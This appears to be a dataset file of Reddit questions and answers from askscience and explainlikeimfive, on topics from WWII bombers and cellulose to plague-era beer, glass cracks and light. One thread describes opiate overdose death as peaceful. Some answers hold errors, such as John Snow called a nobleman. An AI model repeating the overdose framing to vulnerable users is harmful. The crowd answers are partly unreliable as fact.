turned for home, is limping on 3 engines, has some wounded crew members, and has jettisoned it's bomb load, along with anything else that isn't deemed necessary (in order to conserve weight, fuel, and increase speed.) As she runs for home, dipping in and out of the clouds to hide herself from preying enemy fighters and AA batteries, the next big factor is: location, location, location. After the Normandy landings, the Allied front-line began to push farther East towards Germany. If this wounded bomber is limping home after June 6th, 1944, her crew have a pretty good chance of survival due to 1. Allied air superiority and 2. Friendly front lines that allow for the crew to bail out over. If it's not yet June 6th, then she has to make it over the English Channel before her crew can bail out. I mentioned that some of her crew are wounded; if they are wounded to the point that their survival is in question, sometimes the injured crewman was ejected from the plane with the intent of giving them a chance of receiving medical attention by either their German captors or friendly French forces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1vlj4a/in_wwii_bombers_were_wellarmed_with_turrets_why/"], ["http://www.usaaf.net/digest/t119.htm"]]}
{"q_id": "8k0qdu", "title": "Why is cellulose so difficult to breakdown?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8k0qdu/why_is_cellulose_so_difficult_to_breakdown/", "answers": {"a_id": ["dz5spao"], "score": [6], "text": ["It\u2019s not that it\u2019s hard to breakdown as opposed to humans lack the enzyme to break apart the beta acetal linkages that bond the glucose molecules into the chain that constitutes cellulose. Animals such as cows and sheep have bacteria in their guts that produce the enzyme cellulase that is capable of breaking those 1-4 beta glucose bonds into the monomer glucose. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ub2u8", "title": "Is there a reason we can't just build an incredibly long tube to get liquids such as water or fuel into space?", "selftext": "It seems to me like that would cut costs dramatically if you were able to build something long and strong enough. \nI imagine The issue is building something with both the length AND the strength to accomplish the task. Or is there another reason?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3ub2u8/is_there_a_reason_we_cant_just_build_an/", "answers": {"a_id": ["cxdhs1p", "cxdhuqp", "cxdiriq", "cxdj74z", "cxdmj38", "cxegidr"], "score": [9, 2, 12, 2, 20, 2], "text": ["I think the \"strong enough\" factor is more crippling than \"long enough\" which is a manufacturing nightmare of itself. This is about bending yield. The longer a tube, the more it can bend. You can compensate for this by making a tube thicker. But now we are talking the size of a skyscraper. Now you can imagine why that can't be built. ", "Because of gravity and wind shear.  Wind speeds accelerate as you get father from the surface.  We don't yet have the materials to build something strong enough to withstand such forces in a quantity that we can actually afford to pay for.  Carbon nanotubes are one of the best candidates we have right now, but such a structure would still be too heavy to keep up there,  and the quantity it would take would bankrupt a country. ", "An idea closely related to what you describe is the space elevator. It is basically a cable tethered from the earth to a geo-stationary platform in space. The cost of delivering payloads on such a device would be radically lower (and safer) than the costs and risks associated with rocketry-based delivery. NASA and other space agencies have been discussing it for quite a while now, and there is even [a Kickstarter campaign to build one on the moon](_URL_0_). Conceptually, it possible, if not probable, that many people under the age of 50 will see these built in their lifetime.", "Well, if you think of getting fuel, water and air up to the ISS in low Earth orbit (~400) km you would need a really, really, really long tube. Not that the vertical distance is so bad - we have tubes and cables much longer than that, but problem is that objects in low Earth orbit travel at about 8 km/s - they make a round trip of the Earth in about 1.5 hour. So if the cable was fixed to some ground station it would quickly wind several time around the Earth with a circumference of 40,000 km - and that would require a long cable + the enormous hassle of unwinding the cable again.\n\nTo avoid this problem you would have the tube to go up to the geostationary orbit (GEO) which is ~36 km up high, which also would require a very long tube. Or you could, as the others have stated, build a space elevator like structure which has the downside that it has to be rigid, i.e. a tower. In all cases the strength required for tube/cable material would have to be stronger than almost all known materials.", "Pressure increases with the height of fluid in the column. So if we use the formula:\n\n roh x g x h \n\nand the fact that low Earth orbit begins at 160 km and ends at 2000 km (just googled that), we can calculate the pressure at the base of the column, no matter it's diameter.\n\nso we get (for water):\n\n1000 kg/m3 x 9.81 m/s2 x 160,000 m\n\nWhich is: 1569600 kPa or 227,651 psi.\n\nGood luck making a tube that can withstand that kind of pressure at its base and also support a structure reaching that far up.", "Design one. You should find the exercise interesting. [This will give you a start](_URL_0_) until you need to consider aerodynamic effects. They can be considered later, but you will be in engineering school by then."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://sservi.nasa.gov/articles/the-space-elevator-concept/"], [], [], ["http://www.slideshare.net/JoeZefanya/shigleys-mechanical-engineering-design-10th-edition"]]}
{"q_id": "wg4hz", "title": "[Weekly Discussion Thread] Scientists, what do you think is the biggest threat to humanity?", "selftext": "After taking last week off because of the Higgs announcement we are back this week with the eighth installment of the weekly discussion thread. \n\nTopic: What do you think is the biggest threat to the future of humanity? Global Warming? Disease? \n\nPlease follow our usual rules and guidelines and have fun!\n\nIf you want to become a panelist: _URL_1_\n\nLast weeks thread: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wg4hz/weekly_discussion_thread_scientists_what_do_you/", "answers": {"a_id": ["c5d1j2l", "c5d1pky", "c5d29v6", "c5d2imk", "c5d5x22", "c5d6igv", "c5d8u3t", "c5d9gnr", "c5dasya", "c5e6u2l", "c5eh8gk", "c5fci22"], "score": [72, 9, 2, 17, 2, 2, 17, 8, 3, 4, 2, 2], "text": ["Ourselves is the obvious answer but it's also not exactly informative so I'll try to narrow it down.\n\nDefining 'Threat to Humanity' as something that threatens our survival as a species not as a society we can narrow this down.  Even something that wiped out 98% of humanity, so long as it's not ongoing, would leave the species reasonably intact.  That means that most pandemics unless there's a 100% fatality rate the species itself will survive, grow immunitues and eventually resurge.  Even at 100% odds are Madagascar will survive it.\n\nFor something to destroy the entire species in a way that it cannot recover from it's going to have to destroy our ability to live on the planet.  \n\nProbably the top of the list (as in most likely) is a K-T scale impact.  There's really no way we can divert something that large moving that fast unless we see it far enough ahead of time (like multiple orbits) and even then it may not be possible.  It's especially unlikely given that we're slashing our budgets for searching for these planet killers.\n\nSecond would be catestrophic climate change.  I'm talking climate change to the point where it wipes out all or most current life.  That's actually unlikely as we'll likely kill off most of the race and then stop adding C02 to the atmosphere resulting in a massive reforestation and then corresponding drop in C02 again.  See North America c. 1500-1700 for this happening.\n\nThose are really the only ones I can forsee that can actually wipe out the species.  Most everything else we'd survive (well, some of us) and over the next few hundred years reassert our position as apex lifeform on Earth.\n\nedit:  Yes, my spelling sucks.", "Itself.\n\nClimate change has by far the highest probability and potential damage as far as a standard risk-register approach can measure. Stuff like supervolcanoes and asteroids is high impact, but very low probability.\n\nThe issue is that climate change is something we could do something about, were there not sooooo many vested interests in trying to make a debate out of something which already has phenomenal levels of quantifiable scientific support - simply as a delaying tactic to increase short term profits or some other reason.  Ultimately, climate change is the danger, but the cause is almost certainly us, and the risk is multiplied manyfold by humans themselves putting individual self interest above collective understanding.", "I'm going to have to say overpopulation. Sure we could argue that a large, diverse population make humanity less susceptible to being wiped out by disease, but it also makes it harder for us to monitor for the initial outbreak of a pandemic. Our numbers put a huge strain on our resources, and a result of that competition can lead to schisms and a lack of unity that I feel we will need to address other global challenges. ", "Ignorance and laziness towards science. People are afraid of what they do not understand. If we found a \"cure\" for AIDS or cancer, how long would it take to get into practice? If we found a way to get 100 mpg on a common sedan, how long would it take for people to start driving it? We can find solutions to all of our problems, but without funding and acceptance we will go nowhere. At least in America I can see the state of science going backwards. People want a simply easy explanation for anything and they want OTHERS to tell them about it rather than looking it up for themself. Humans have survived pandemics, global climate change, etc. but I truly believe we are our own worst enemy. \n\nIf you want something more tangible, then my answer is overpopulation (which brings problems with water, farming land, pollution, etc.)", "The biggest threat to the future of humanity is the overpopulation.  All the other problems cited are really just a function of human overpopulation.", "I'm surprised nobody has said bacterial infections. Bacteria evolve faster than we can make new antibiotics... once none of our antibiotics work we have a huge problem on our hands.", "Nuclear holocaust. Whilst not as clear and present a danger as a couple of generations ago, we're still just a few wrong presses of some red buttons away from almost complete annihilation.", "One thing worth noting is that there are people who specifically focus on this issue. The [Future of Humanity Institute](_URL_1_) does research specifically related to this issue (they are run by Nick Bostrom who is a really bright guy who has done some really neat work). One of the issues that there work has helped highlight is that a critical question in this sort of context is whether most of the [Great Filter](_URL_0_) is front of us or behind us. If much of the the standard Great Filter is in front of us, then it is likely that the primary risks will be due to our own actions. This could include diseases (which will travel faster and more efficiently with global air transit) or nuclear war, or more exotic issues like problems with nanotech or bad AI (although in both those last two cases, most experts do not consider them to be serious issues).\n\nOne issue is that from a Great Filter/Fermi question perspective, we don't need an existential threat to be doing most of the severe future filtration. Events that push human tech levels back far enough may make it impossible to bootstrap ourselves back to modern tech levels. In particular, to get to our current technology we had to use a lot of non-renewable oil and coal, which won't be available a second time around. How much this matters is not clear. This point has been made by Bostrom but I don't think has gotten enough attention. While Bostrom and his group have discussed it in some of their work, no one has sat down and made detailed analysis of just how much a lack of cheap energy would interfere with things, and whether it adds that much to the set of events that need to be considered as potential Filtration threats. ", "I'm having a tough time deciding between nuclear arms proliferation and adaptation to the anthropocene era from global warming. I'd probably go with nuclear arms because I'm an optimist and think that new technologies and market incentives will eventually correct global warming, while nothing similar will make the threat of a nuclear attack any less real.", "In the context of sustainability, the answer is overpopulation. Too many people leads to unsustainable lifestyle = loss of food/water/crops/vegetation/earth resources. This indirectly causes resource wars and more strife between our own people, more famine, more water shortages, etc. \n\nToo many people to be sustained in an ecosystem is the worst thing that can happen: And we've already surpassed these thresholds in places such as big cities: without shipments of produce and resources, these metro centers would be concrete jungles largely void of arable land (covered by impervious surfaces) and incredibly unforgiving to those trying to survive, even more so than bare nature itself (think about buildings without proper maintenance or condemned structures). This isn't covering even half the issues. Just putting in my two cents.\n\nEdit: Think about the amount of resources it takes to feed/support a human in utero, then to have it be born, and live to be 90 years old. The amount of consumption is not sustainable when there are large amounts of people present above the carrying capacity of the planet. I've seen others here be downvoted for suggesting overpopulation as a threat, but in reality, overpopulation will lead to our own demise maybe not entirely, but with what destruction we can bring upon our habitats, our food sources, our water sources, our peers, and our climate can be enough in the future to give us big problems.", "A sociological approach: Our lack of understanding and wanting to understand other cultures and viewpoints. A psychological fear of the unknown makes it potentially hostile (I'm supposing as an evolutionary trait), and this kind of fear leads to hostility and war. In our consideration of \"threats to humanity,\" we have to notice that two individual worlds exist-- one where humans can work together, and one where humans fight. \n\nIn the first, all other answers to this thread have a much better chance of being solved-- when a good majority of our world is not in some sort of conflict and working together, productivity may increase. Identifying and quarantining disease may be much easier with multinational cooperation, civilizations flourish in the fields of the sciences and arts. Development in the sciences means faster achievement of prevention of possible catastrophes. \n\nIn the second world, humans possibly eliminate each other in war, leaving only a few to collectively think about solutions to outside problems, and the ones that aren't are actively thinking about destroying their enemies. Productivity in every field goes down due to diverted resources, and (just like in the US today) more money goes towards protecting themselves from the harm of other countries and unfamiliar people. It is not the war itself that is our destruction, it is the diversion of resources into possible solutions by having war that is our destruction.\n\n... we obviously live in the second world.", "It seems that every body is talking about worst case senarios that are highly improbable. I think that we need to focus more on the more probable senarios such as overpopulation."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/vraq8/weekly_discussion_thread_scientists_do_patents/", "http://redd.it/ulpkj"], "answers_urls": [[], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Great_filter", "http://www.fhi.ox.ac.uk/"], [], [], [], []]}
{"q_id": "7gifqa", "title": "how did drinking beer help out during the time of the bubonic plague pandemics?", "selftext": "I heard something about the plague not being transmitted through the beer for some reason.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7gifqa/eli5_how_did_drinking_beer_help_out_during_the/", "answers": {"a_id": ["dqjbk6g", "dqjcrie", "dqjgvwz", "dqjgzw3"], "score": [8, 98, 5, 37], "text": ["The fermentation process involves sterilization. So beer is sterilized, making it safer to drink than unprocessed water.", "Bubonic plague is carried by fleas and rats (which have the fleas), so clean water isn't so much the issue for that particular disease. However, diseases that *do* spread through contaminated water, like cholera, aren't transmitted through beer because brewing beer involves boiling everything. This kills bacteria in it. Additionally, the alcohol in it will also kill the infectious bacteria. Alcohol sterilizes things. ", "I was plague doctor for Halloween so i have some notes. Originally diseases were believed to spread by gas or odor called miasma by the poor and the wicked. Thats why during bubonic plague plague doctors wore bird masks and filled the beeks with flowers and spices to fulter the bad smell so they wouldnt become sick. In england i belive there was a nobleman named John snow who determened that the common thing about plague hotspots was lack of clean water. I think he also noticed that people who drank beer in taverns rather than water were getting sick more rarely than others. I cant recall but i quess someone can fill the rest. ", "Not necessarily beer, but a variety of alcohol and vinegar based liquids. \n\nThe plague was spread by flea infested rodents but at the time, this wasn't understood. What was understood though, was that wine and beer tended to withstand taint by disease. They didn't rot or turn sour easily, and objects treated with them tended not to cause infections. A kind of hazy understanding of antibiotics but without understanding why it worked or what it attacked. \n\nThere was [a village](_URL_0_) that became infected with the plague long after it had been wiped out in Europe. I think it was someone going into storage and opening a rug which had live plague fleas still in it. In any case the plague hit the town but the people were responsible and knew that it could start the plague all over again so they did something altruistic, and cut themselves off from the rest of the world until the plague had run it's course. \n\nIn order to feed themselves, they communicated to other towns and people in the area and got them to purchase supplies which would be left just outside of town. In order to pay for them,  they would leave coins, but they had to be certain that the coins wouldn't infect anybody, and so they chose a rock at the edge of town that had holes in it, and they filled the holes with vinegar, and placed the coins inside of them. The plague was contained. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.google.com/search?client=ubuntu&amp;hs=a9w&amp;channel=fs&amp;biw=1407&amp;bih=644&amp;tbm=isch&amp;sa=1&amp;ei=zXQfWvrKHsqHmQHR542IDQ&amp;q=eyam+plague&amp;oq=eyam+plague&amp;gs_l=psy-ab.3..0l6j0i67k1l2j0i24k1l2.37491.38447.0.39272.6.6.0.0.0.0.82.438.6.6.0....0...1c..64.psy-ab..0.6.436...0i7i30k1j0i8i7i30k1j0i13k1.0.lVRFhesv4Wo"]]}
{"q_id": "9mv442", "title": "when people die from overdose, would it be peacefull or painfull.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mv442/eli5_when_people_die_from_overdose_would_it_be/", "answers": {"a_id": ["e7hl0v2", "e7hnb6z", "e7hvxu1"], "score": [4, 4, 3], "text": ["Asphyxiation itself is relatively painless unless you feel the effects of co2 buildup resulting in a desire to breathe.\n\nAlthough opiates reduce the percieved need to breathe and thus induce respiratory depression, leading to death by asphyxiation.  You go from feeling good, not caring about anything, and perhaps doze off, and that's it: game over.\n\nStimulants are a lot different.   At best they induce psychosis and possibly drive the person to intentionally or unintentionally harm themselves.  They might also just cause a heart attack or other cardiac problems in extreme overdose.", "That depends entirely on the drug. There's no single answer. It also depends on how large the overdose is, I.e., if it's just enough to be fatal, or several times a fatal dose.", "Disclaimer: I'm not a doctor or EMT. I have minimal medical experience, I trained as a lifeguard and have a bit of basic medical and first aid training past that. I am by no means a medical expert.\n\n**If you are considering suicide by any means, you are not alone. There are people out there that can help you get through what you're feeling. People care. Suicide is a permanent solution to a temporary problem. Almost every suicide survivor states that they regretted attempting suicide almost immediately after they reached the point  of no return, and wished that they could have undone what they had just did.**\n\nWhat exactly happens to your body and how it would feel is highly dependent upon the drug. Asphyxiation (suffocation), as /u/TehWildMan_ said, is relatively painless, unless you feel the buildup of CO2 in your body, which forces your body to want to breathe. Some drugs, namely opiates, can cause this to happen. They slow your breathing and reduce the perceived need to breathe, which will eventually lead to asphyxiation. You go from a high where you're carefree to likely slipping away into what feels like a sleep, as you starve yourself of oxygen and pass away.\n\nAlso as /u/TehWildMan_ said, stimulants are a totally different game. They could cause cardiac arrest (heart attack) or other cardiac problems. This is the most pleasant way that these could kill you (still not pleasant). They could also cause psychosis, causing you to see and hear thing that aren't really there, potentially causing you to harm yourself in one way or another.\n\nThe effects that drugs have vary highly from drug to drug, and from person to person. One drug may cause a relatively painless overdose death, while the other may result in excruciating pain. What may be a lethal dose to me might not be that big of a deal to you. \n\nOverdosing as a suicide method is highly unreliable. Oftentimes, the user will dose themselves incorrectly, and suffer excruciating pain. Many overdose suicide attempts result in survivors, and survivors have to endure extremely unpleasant side effects, ranging from pain to vomiting to organ failure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "edqtw3", "title": "Why are the cracks on glass opaque?", "selftext": "If the air is see-through, and the glass is too, why are cracks not?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/edqtw3/why_are_the_cracks_on_glass_opaque/", "answers": {"a_id": ["fbjya6q", "fbk4owf", "fbkfxzk", "fbktt3u", "fbl9dzn", "fbm3m0i"], "score": [388, 6, 9, 3, 2, 7], "text": ["Light moving between different mediums (air, water, glass) gets a little bit bent; this is why drinking straws look bent when put into a glass. When the glass pane is smooth, the bend is minimal, since it only transitions twice (in and out). When it breaks, the glass becomes super rough, and air and glass get jumbled up. Now light is making that transition hundreds of times, so it gets all bent out of shape. All of the colors sort of blend together, giving a \u2018white\u2019 appearance. This is also why snow is white.\n\nEdit: Polar bears have black skin and transparent hair.", "Glass and air have different indices of refraction. In optics, there is a well-known law called the Snell-Descartes law (or law of refraction) that dictates at which angle will a light ray be refracted when switching from two mediums with different indices of refraction.\n\n >  sin(a1) / sin(a2) = n2 / n1\n\nWhen the glass cracks, some rays of light are refracted several times in the crack, creating a white image in the crack (light refraction is the same phenomenon that causes prisms to decompose white light).\n\nNB : if the glass is very thin (like the glass of a phone screen for instance), then the cracks won't be nearly as visible as when the glass is thick (like in a drinking glass, or a window).\n\nTL;DR : light bounces around in the crack causing it to show as white instead of transparent.", "The path of the light changes. The same way light will stay in an unbroken strand of fiber optics.\n\nGlass is the medium In which the light travels. When that is broken so is the road on which that light is traveling. \n\nWe could get all technical but this is the simplest way of saying it. Same thing will happen water.", "A simple glass object and air both tend to be uniform enough for light to pass through uniformly ('see-through')\n\nYou're right. The mediums are the same, so light still passes through. But the cracking through the glass is a irregularity in the transition between these mediums, hence an irregularity in the image you'd see if the form were perfectly regular (no crack)\n\nIt  might be hard to remember how differently light behaves around form changes in glass objects because we keep the edges of windows covered up.\n\nInstead, examine the top, sides, etc of a plain drinking glass. These ends of the form may be fairly simple shapes, but aren't simple see-through the way the rest of the surface is (doing dishes would become extra difficult with nothing to see).\n\nYou might picture the cracks in a glass cube or window as many adjacent 'tops and bottoms and sides of drinking glasses'", "Glass is transparent due to the amorphous nature of the structure. The molecules that form the glass have very little long term order, which gives the property of reflecting  or absorbing very little light. The vast majority of light simply passes through the structure.\n\nOpaqueness on the other hand comes from the material property of crystallinity. The molecules (or atoms) have a high degree of order due to repeating lattice units. This causes some light to reflect, some to pass through and some to be trapped, making the material opaque. \n\nCheck out [these ](_URL_0_) images of nearly perfect single crystal silicon ingots. It\u2019s a good example of how crystallinity causes light to reflect (or be trapped). \n\nWhen looking at these images remember that glass is also composed of silicon. So the highly opaque ingots and highly transparent glass, are mostly made of the same material by molecular weight. \n\nWhen a glass cracks there is a fracture on the molecular level along a type of fault line. This boundary likely refracts and reflects the light enough to cause it to have a high degree of opaqueness  compared to the rest of the material.", "Just as a note of clarification, this is probably more accurately tagged \"physics.\" Indices of refraction are certainly relevant to both disciplines, but optics in general is usually held to be a sub-discipline of physics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://asia.nikkei.com/Editor-s-Picks/Interview/Silicon-wafer-maker-cautious-despite-strong-chip-demand"], []]}
{"q_id": "3ag7uj", "title": "how toys like hot wheels and micro machines are painted", "selftext": "Is it done by machine? If so, what are those machines like? If it's by hand, how are they so consistent?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ag7uj/eli5_how_toys_like_hot_wheels_and_micro_machines/", "answers": {"a_id": ["cscdubo", "cscrgf1"], "score": [2, 2], "text": ["Dunno about hot wheels but here's how figmas are made:\n\n_URL_1_\n\nI found the blog an interesting, if somewhat creepy due to all the censoring, read.\n\nMore videos on the process can be found under the \"why are they so expensive?\" heading here:\n\n_URL_0_", "Taking a shot in the dark here, but many things are painted in a process called \"Electrostatic Painting\" where the object, in this case a Hot Wheel car that is metal is given a small charge, much like how a magnet is created, and then paint in a powder form is sprayed all around it and is attracted electromagnetically to the metal body, then is put in a oven and baked at a certain temperature for a certain amount of time, giving the object a uniform consistency and coating. This is how fire extinguishers are 'painted'\n\nsource: I watched a how its made episode and was awed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://docs.google.com/document/pub?id=1Y1U5YDGrvgFW-5H_cBnDoHwCfWjPDaQ6p05-HJMcVh4#id.qyx7r1ao04a7", "http://ameblo.jp/gsc-mikatan-e/entry-10730147929.html"], []]}
{"q_id": "1ma80d", "title": "in places such as nyc and hong kong where population is above 7 million, what happens to the bodies of all the deceased? where do people bury their dead relatives?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ma80d/in_places_such_as_nyc_and_hong_kong_where/", "answers": {"a_id": ["cc78gt2", "cc78lq7", "cc7a8cp", "cc7avyo", "cc7axmj", "cc7bhqe", "cc7brp9", "cc7c7ma", "cc7cvn3", "cc7ecil", "cc7mrk0", "cc7mt5v", "cc7q1wg"], "score": [23, 14, 5, 40, 4, 2, 5, 5, 2, 2, 2, 2, 2], "text": ["In New Orleans, they have above ground cemeteries ([to keep bodies from floating away in floods](_URL_0_)) which basically has a concrete slab above-ground.  When we buried my wife's grandmother in her family's grave, I thought it was very strange that many of the tombs that look large enough to hold a single body have around 15 names going back a couple of hundred years...\n\n\nAfter some google research, turns out that they take the body out of the casket after the service, put it into a body bag, open the grave, shove the other remains out of the way, and then throw the bag in. \n\n\nIf another relative had died and been put into the same grave within the previous 6 months, the newly deceased person is sent to a fridge after the service until the remainder of the 6 month period expires, then they are put into the grave (gotta have time for the previous people to succumb to nature)...\n", "There's still room in NYC for burials for at least another ten years, but plenty of people go outside the city, mostly to Long Island or New Jersey.", "Don't forget about cremation.", "In Hong Kong and most of China, cremation is the traditional method of dealing with the bodies of the deceased. Side note: in Tibet, which does not a dense population, \"sky burials\" are traditional. They cut up the bodies of their deceased and let vultures eat them. (But there's a ceremony, it's respectful and everything.)\n\nEdit: I did not expect so many people to be scarred as a result of my comment and u/wothy's. Even I ain't clicking that link.", "This is where much of my family is buried in NYC.\n\n_URL_0_\n", "Here is an interesting article from the NYTimes about the space issue:\n\n_URL_0_", "I'm just relieved no ones making soylent green. ", "In Taiwan, we bury our loved ones in cemeteries. However, the cemetary is usually up in the mountains (considered rural areas).  There are also crematories but the ashes can also be laid to rest in a building at the cemetary, similar to a catacomb for ashes.  For funeral services, there are large establishments that can hold several funerals at the same time.  Each service is in it's own tent/building. So depending on the place, it could have 10 different areas for simultaneous services.  With each service, you have the \"priest\", a guy similar to MC, choir, usher and usually an alter girl of some sort to assist in the ceremony.  These places are usually \"near\" the location of the final resting place at the base of the mountain so that the burial party may accompany the departed to the burial site shortly following service.", "Many New Yorkers end up in mass graves on [Hart Island](_URL_0_).  Must be a spooky place. ", "As machagogo stated, most people in NYC will be buried at Green Wood, which is huge. If not at Green Wood then somewhere in Long Island, The Bronx, or Jersey. ", "I am from Hong Kong. Yes, cremation is also a way to deal with the bodies. I don't think a lot of people keep the ash-filled urn at home, but it's a common thing to rent a spot in taoist or buddist temples to keep the urn. HK has a much higher population density than NYC, and we are even running out of place to keep the urns! It was a real tricky issue for the government and we actually still don't have a good solution to the problem.", "In Sweden you get dug up after a year, cremated and thrown in the dust bin.", "NYC : Most folks who are not cremated get buried in Queens (one of the outer boroughs of NY adjacent to Brooklyn). In fact, the dead population of Queens exceeds the living one. \n\nSOURCE : _URL_0_\n\nOther folks get buried further out in Long Island, NY or in New Jersey, but due to cost/time constraints (no one wants to be stuck in a funeral procession on a 30+ mile drive in rush-hour traffic), if you happen to pass on to the next life while in NYC you will probably be buried in Queens "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.historicamerica.net/neworleanscemeteries.html"], [], [], [], ["http://en.m.wikipedia.org/wiki/Green-Wood_Cemetery"], ["http://www.nytimes.com/2010/08/15/realestate/15cov.html"], [], [], ["http://en.m.wikipedia.org/wiki/Hart_Island,_New_York"], [], [], [], ["http://hyperallergic.com/54404/there-are-more-people-who-are-dead-than-alive-in-queens/"]]}
{"q_id": "4v8ozl", "title": "absurdism. how is it not nihilism?", "selftext": "Here's what I think I understand\n\nAbsurdism = No meaning to life, but meaning can be found in life  \nNihilism = no meaning what so ever\n\nIs this close?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4v8ozl/eli5_absurdism_how_is_it_not_nihilism/", "answers": {"a_id": ["d5wdtlk", "d5wnjqq", "d5wo4wf"], "score": [12, 7, 2], "text": ["Absurdism doesn't say there is no meaning, it just points out the futility of looking for it. It's more about the human condition than about the nature of the universe. Nihilism on the other hand is all about inherent meaninglessness.\n\nNote that neither of these worldviews have to be negative. [Source:](_URL_0_)", "These replies are good, but I'm gonna try to explain it to you as if you were a philosophical 5 year old. \n\nLet's say we have a painting and we're trying to determine what the artist was trying to tell us with that painting. The nihilist says \"art has no meaning, even if you tried to impose your own, you're only reifying your own misguided beliefs, art is chaos, and chaos carries no value\" and the absurdist says \"jeez, man, this painting looks pretty kick ass, I'm not sure I'm qualified to comment. Whoever made this must've been on a totally different level that I can't even comprehend--just look at all those colors! Do you think we can figure out what all those colors mean? Hell nah.\" \n\nIn case you didn't catch on, the painting represents life, the nihilist says it has no meaning, and the absurdist says \u00af\\\\\\_(\u30c3)_/\u00af ", "Wiki article on absurdism was pretty good. The final note on morality caught me a bit off guard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://img.ifcdn.com/images/bcd993434dad18ed1a4ff7db6f0207ab1d0fe63052711764b90cc49b9bb384f0_1.jpg"], [], []]}
{"q_id": "flnpjv", "title": "why aren't businesses required to have a 6 month emergency fund to cover employee wages and healthcare in an emergency the way private citizens are expected to?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/flnpjv/eli5_why_arent_businesses_required_to_have_a_6/", "answers": {"a_id": ["fkzml43", "fkzn4h3"], "score": [8, 2], "text": ["For the same reason why you can't force people to have a 6 month emergency fund to cover their daily living expenses in the case of an emergency.  Most businesses aren't megacorporations like amazon and wal-mart.  They're mom and pop shops that are living on razor thin margins.", "That\u2019s a lot of money. Many small businesses operate on smaller margins than that. How would you require them to do this? What would you have the business do if they dipped below this level of spare funding?\n\nFor worker protection, this is a great plan. Logistically, it\u2019s a nightmare."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bi31b2", "title": "how do amber teething necklaces work ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bi31b2/eli5_how_do_amber_teething_necklaces_work/", "answers": {"a_id": ["elxmtju", "elxy8tu", "elxz9w4", "ely1rcf"], "score": [73, 33, 11, 7], "text": ["They\u2019re supposed to release an acid that helps dull the pain of teething. They also provide some sensory stimulation that can distract from the pain. \n\nHowever, it\u2019s worth noting that there is no clinical evidence whatsoever that the substance they release is either helpful with teething or safe for the infant. There is also a significant risk that the necklace may strangle the infant. The FDA explicitly recommends against their use: _URL_0_", "Scientifically, there is no evidence to support they work. Anecdotally, from my personal experience as a child care provider, there is no evidence that they work. This is because they likely do not work.", "As others have said, they don't work and are obviously dangerous. Parents who say that they worked for them are likely responding to confirmation bias. Teething pain ebbs and flows, and when the child is less fussy the parent attributes it to the necklace because that is the outcome they are looking for.\n\nEdit: Small typo", "I answered \"not\" \n\nSome bot thought that wasn't a good explanation, or not \"like I'm 5\" \nSo, to elaborate on my original answer:    \nAmber teething necklaces don't work. They have the same effect as a placebo, but a placebo probably won't choke or suffocate your child.   \nAre you happy now, bot? \n\n\nBad bot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.fda.gov/news-events/press-announcements/fda-warns-about-safety-risks-teething-necklaces-bracelets-relieve-teething-pain-or-provide-sensory"], [], [], []]}
{"q_id": "aftkkf", "title": "when does light stop?", "selftext": "Today i was walking along a lake on a beautiful sunny day.  I noticed the reflection of the mountains off the lake.  I realized that what i am seeing are photons bounced off the lake, but then i realized they were 1st bounced off the mountain, and they came from the sun. \n\n  When does the photon stop?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aftkkf/eli5when_does_light_stop/", "answers": {"a_id": ["ee1aws9", "ee1egoa", "ee1ocrt", "ee1ph3m", "ee2acy5"], "score": [34, 7, 13, 3, 3], "text": ["Whenever light hits something, some of it is absorbed and gets converted into another form of energy (heat), while some of it is reflected. When you the light hits your eyes, it is absorbed by your retina. ", "Isn't it technically whenever it hits an atom? My understanding is that when a photon encounters an atom, it excites the electrons  and causes them to jump to different levels, but then the electron immediately returns to its normal state releasing the energy and creating a brand new photon.", "Ever looked at Orion's top left shoulder?  In the summer of the year 1376 AD, a photon left that star, travelled 3.7 quadrillion miles and passed through that one cm opening in your eye, during the 5 seconds you happened to be looking int hat direction. ", "In a vacuum, \"theoretically\" it never stops. Electromagnetic waves (light) are made up of two vector fields. A magnetic field, and an electric field. Those two fields \"propegate\" off of each other. One field generates the other (so to speak), so they just go off to infinity.\n\nI'm glossing over this, and heavily simplifying (to the point where some of the information is flat-out wrong, but anymore in depth requires way too much explanation). This is generally what's going on.", "Photons stop when they are absorbed by an atom or molecule. The photons you are \u201cseeing\u201d stopped in your retina at the back of your eye. Some of the photons stopped in the mountain. Some stopped in the lake. Some stopped in the sky before even reaching the mountain. The specific wavelengths that are absorbed, and therefore the ones that keep going, are what causes different colors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
